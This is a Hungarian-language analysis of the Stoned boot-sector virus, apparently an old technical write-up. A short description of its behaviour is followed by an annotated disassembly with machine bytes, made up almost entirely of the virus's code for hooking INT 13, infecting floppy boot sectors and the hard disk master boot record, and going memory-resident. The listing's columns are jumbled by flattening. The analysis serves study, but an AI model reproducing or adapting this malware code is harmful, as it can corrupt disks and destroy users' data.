Content extract
A STONED vírus A vírus a boot szektorban, vagy a masterbootban található. Ha vírusos lemezröl bootoltatunk a vírus egyből megfertőzi a winchestert. Ha már a vírus a memóriában van megfertőz minden lemezt, amit az A: driveban olvasunk vagy írunk. Csak az INT 13 02 és 03 alfunkciójánál fertőz A hard disken a masterbootba fészkeli be magát, az eredeti masterboot szektort a 0. oldal 0 sáv 7.szektorába rakja A lemezen a boot szektort cseréli le. Az eredeti bootot az 1 oldal 0 sáv 3 szektorába rakja Ez 360k-s lemezen a rootdirectory utolsó szektora, 1.2Mb-áson a FAT (!) 720k-s és 14Mb-s lemezt is tönkretesz, de ezt nem tudtam ellenőrizni. A memóriában 2kb-ot foglal le a memória tetején. Előfordulhat, hogy többször is a memóriába kerül. Vírusos lemezről való bootoltatáskor 12.5% valószínűséggel kiírja a Your PC is now Stoned! feliratot két csipogással egyetemben. Hallottam már olyan mutációról is amelyik a LEGALISE MARIJUANA-t is
kiírja. ;--------------------------------------------------------------; Indítási pont : 0000:7C00 ;--------------------------------------------------------------- 0000 EA0500C007 JMP 0005 E99900 * JMP 07C0:0005 00A1 ;cs=07C0 ;Ugrás a vírus kezdetére ;--------------------------------------------------------------; Változók ;--------------------------------------------------------------0008 BOOT E DB 0 ;0-nál bootban vagyunk, 2-nél masterbootban 0009 ERE INT13 DD ? ;INT 13 eredeti címe 000D C 00E4 DW 00E4 ;Konstans 000F VIRSEG DW ? ;Vírus szegmense a memóriában 0011 BOOTCIM DD 0000:7C00 ;Hosszú cím az eredeti boot futtatásához ;--------------------------------------------------------------; INT 13 ;--------------------------------------------------------------; Csak az A:-ról olvasáskor és íráskor aktivizálódik 0015 1E * PUSH DS 0016 50 PUSH AX 0017 80FC02 CMP AH,02 001A 7217 JB 0033 ;Kilép 001C 80FC04 CMP AH,04 001F 7312 JNB 0033 ;Kilép (Csak
olvasásnál és írásnál 0021 0AD2 OR DL,DL ;aktivizálódik) 0023 750E JNZ 0033 ;Csak A:-nál ; Csak akkor fertöz, ha A:-ban nem megy a motor 0025 33C0 0027 8ED8 0029 A03F04 002C A801 002E 7503 0030 E80700 ; XOR MOV MOV TEST JNZ 0033 CALL Eredeti INT 13 rutin futtatása 0033 58 * POP AX 0034 1F POP DS 0035 2E CS: 0036 FF2E0900 JMP ; 003A 53 003B 51 003C 52 003D 06 003E 56 003F 57 ; AX,AX DS,AX AL,[043F] ;Motorállapotok AL,01 ;Kilép, ha már be van kapcsolva 003A ;Fertözés FAR [0009] ;ERE INT13 Fertözés * PUSH PUSH PUSH PUSH PUSH PUSH BX CX DX ES SI DI Boot szektor beolvasása 0040 BE0400 MOV 0043 B80102 * MOV 0046 0E PUSH 0047 07 POP ES 0048 BB0002 MOV 004B 33C9 XOR 004D 8BD1 MOV 004F 41 INC CX 0050 9C PUSHF 0051 2E CS: 0052 FF1E0900 CALL 0056 730E JNB 0066 0058 33C0 XOR 005A 9C PUSHF 005B 2E CS: 005C FF1E0900 CALL 0060 4E DEC SI 0061 75E0 JNZ 0043 0063 EB35 JMP009A 0065 90 NOP SI,0004 AX,0201 CS ;4 próbálkozás ;1 szektor olvasása BX,0200
;cs:0200-ra CX,CX DX,CX ;1. szektor=boot beolvasása FAR [0009] ;ERE INT13 (INT 13-at helyettesíti) ;Ha nincs hiba AX,AX ;Disk inicializálása FAR [0009] ;ERE INT13 ;Próbálkozások száma ;Sikertelen->ret ; Fertözött-e már ez a boot 0066 33F6 * XOR 0068 BF0002 MOV 006B FC CLD 006C 0E PUSH 006D 1F POP DS 006E AD LODSW 006F 3B05 CMP 0071 7506 JNZ 0079 0073 AD LODSW 0074 3B4502 CMP 0077 7421 JZ 009A ; CS ;Első szó AX,[DI] ;összehasonlítása ;Ugrás: nem fertőzött ;Második szó AX,[DI+02] ;összehasonlítása ;Ugrás:már fertőzött Még nem fertőzött>megfertőzi 0079 B80103 * MOV 007C BB0002 MOV 007F B103 MOV 0081 B601 MOV 0083 9C PUSHF 0084 2E CS: 0085 FF1E0900 CALL 0089 720F JB 009A ; SI,SI DI,0200 AX,0301 ;Egy szektor írása BX,0200 ;es:0200-ról CL,03 ;---- Eredeti boot megőrzése ----DH,01 ;1. oldal 3 szektor 360k-s lemezen ;ez a 11. dos szektor=root directory ;utolsó szektora ! Más lemezen akár FAR [0009] ;a FAT-ba is írhat !!! ;Hibánál
kilép Magát írja a boot helyébe 008B B80103 MOV 008E 33DB XOR 0090 B101 MOV 0092 33D2 XOR 0094 9C PUSHF 0095 2E CS: 0096 FF1E0900 CALL 009A 5F * POP DI 009B 5E POP SI 009C 07 POP ES 009D 5A POP DX 009E 59 POP CX 009F 5B POP BX 00A0 C3 RET AX,0301 BX,BX CL,01 DX,DX ;Egy szektor írása ;Első szektor FAR [0009] ;ERE INT13 ;Kész : visszatérés ;--------------------------------------------------------------; Ide ugrik a boot futtatásakor (cs=07C0) ;--------------------------------------------------------------00A1 33C0 00A3 8ED8 XOR MOV AX,AX DS,AX ;ds=0 00A5 FA CLI 00A6 8ED0 MOV 00A8 BC007C MOV 00AB FB STI 00AC A14C00 MOV 00AF A3097C MOV 00B2 A14E00 MOV 00B5 A30B7C MOV 00B8 A11304 MOV 00BB 48 DEC AX 00BC 48 DEC AX 00BD A31304 MOV 00C0 B106 MOV 00C2 D3E0 SHL 00C4 8EC0 MOV 00C6 A30F7C MOV 00C9 B81500 MOV 00CC A34C00 MOV 00CF 8C064E00 MOV 00D3 B9B801 MOV 00D6 0E PUSH 00D7 1F POP DS 00D8 33F6 XOR 00DA 8BFE MOV 00DC FC CLD 00DD F3 REPZ 00DE A4 MOVSB 00DF 2E CS: 00E0
FF2E0D00 JMP ; ;Stack beállítása AX,[004C] ;INT 13 címének offsetje [7C09],AX ;ERE INT13 AX,[004E] ;INT 13 címének szegmense [7C0B],AX ;ERE INT13+2 AX,[0413] ;Memória mérete kb-okban ;2 kb-tal csökkenti !! [0413],AX CL,06 AX,CL ;*64 ES,AX ;ES-ben a szabaddá tett memóriarész szegmense [7C0F],AX ;VIRSEG Ide kerül majd a vírus AX,0015 [004C],AX ;INT 13 átírása VIRSEG:0015-re [004E],ES CX,01B8 ;Vírus hossza (440 byte) CS SI,SI DI,SI ;Vírus átmásolása VIRSEG:0000-ra FAR [000D] ;Ugrás VIRSEG:00E4-re Itt már cs=VIRSEG 00E4 B80000 MOV 00E7 CD13 INT 00E9 33C0 XOR 00EB 8EC0 MOV 00ED B80102 MOV 00F0 BB007C MOV 00F3 2E CS: 00F4 803E080000 CMP 00F9 740B JZ 0106 ; SS,AX SP,7C00 AX,0000 13 AX,AX ES,AX AX,0201 BX,7C00 ;Disk inicializálás ;es=0 ;Egy szektor beolvasása ;0000:7C00-ra BYTE PTR [0008],00 ;BOOT E ;Ugrás, ha boot szektorban vagyunk Eredeti masterboot beolvasása, futtatása 00FB B90700 MOV CX,0007 ;Partíciónál a 7. szektorban van 00FE BA8000 MOV
DX,0080 ;az eredeti masterboot 0101 CD13 INT 13 0103 EB49 JMP014E ;Futtatás 0105 90 NOP ; Eredeti boot szektor beolvasása 0106 B90300 0109 BA0001 010C CD13 010E 723E * MOV CX,0003 MOV DX,0100 INT 13 JB 014E ;Hibánál futtatás (?!) ; 8 esetből egyszer kiírja a Your PC is now stoned! szöveget 0110 26 ES: 0111 F6066C0407 TEST BYTE PTR [046C],07 ;Az óra lekérdezése (véletlen szám) 0116 7512 JNZ 012A ;8 esetből egyszer folytatódik 0118 BE8901 MOV SI,0189 ;offset SZOVEG 011B 0E PUSH CS 011C 1F POP DS ;ds:si mutat a szövegre 011D AC * LODSB ;Egy karakter kiírásának ciklusa 011E 0AC0 OR AL,AL ;00 jelzi a végét 0120 7408 JZ 012A 0122 B40E MOV AH,0E ;WRITE TELETYPE 0124 B700 MOV BH,00 ;0. lap 0126 CD10 INT 10 0128 EBF3 JMP 011D ;Ha lemezröl indítottuk a rendszert megfertőzi a winchestert (ha van) 012A 0E 012B 07 012C B80102 012F BB0002 0132 B101 0134 BA8000 0137 CD13 0139 7213 013B 0E 013C 1F 013D BE0002 0140 BF0000 0143 AD 0144 3B05 0146 7511 0148 AD 0149 3B4502
014C 750B ; * PUSH POP ES MOV MOV MOV MOV INT 13 JB 014E PUSH POP DS MOV MOV LODSW CMP JNZ 0159 LODSW CMP JNZ 0159 CS AX,0201 BX,0200 CL,01 DX,0080 ;egy szektor olvasása ;és:0200-ra ;Partíciótábla ;Az első winchesteren ;Ha nincs winchester CS ;ds=cs SI,0200 DI,0000 ;Fertőzött-e már a winchester AX,[DI] ;Még nem AX,[DI+02] ;Még nem Eredeti boot vagy masterboot futtatása 014E 2E * CS: 014F C606080000 MOV BYTE PTR [0008],00 0154 2E CS: 0155 FF2E1100 JMP ; FAR [0011] ;BOOTCIM Winchester megfertőzése 0159 2E * CS: 015A C606080002 MOV 015F B80103 MOV 0162 BB0002 MOV 0165 B90700 MOV 0168 BA8000 MOV 016B CD13 INT 016D 72DF JB 014E 016F 0E PUSH 0170 1F POP DS 0171 0E PUSH 0172 07 POP ES 0173 BEBE03 MOV 0176 BFBE01 MOV 0179 B94202 MOV 017C F3 REPZ 017D A4 MOVSB 017E B80103 MOV 0181 33DB XOR 0183 FEC1 INC CL 0185 CD13 INT 13 0187 EBC5 JMP BYTE PTR [0008],02 ;Partícióban leszünk jelzés AX,0301 BX,0200 ;Eredeti masterboot kiírása CX,0007 ;a 0.sáv 7
szektorába DX,0080 13 ;Hibánál CS CS SI,03BE DI,01BE CX,0242 ;Partíciótábla kezdőcíme ;Magunkévá tesszük ;Átmásoljuk, majd töröljük a beolvasott masterbootot AX,0301 ;Egy szektor kiírása BX,BX ;Vírus írja magát a masterboot-ba ;1. szektor 014E ;Eredeti boot futtatása 0189 SZOVEG DB 7,Your PC is now Stoned!,7,0DH,0AH,0AH 01A5 SZOVEG2 DB LEGALISE MARIJUANA! 01B8 VIRVEG DB 6 DUP (0) ;Vírus vége 01BE PATICIOTABLA DB 42 DUP (0) ;Itt lesz a partíciótábla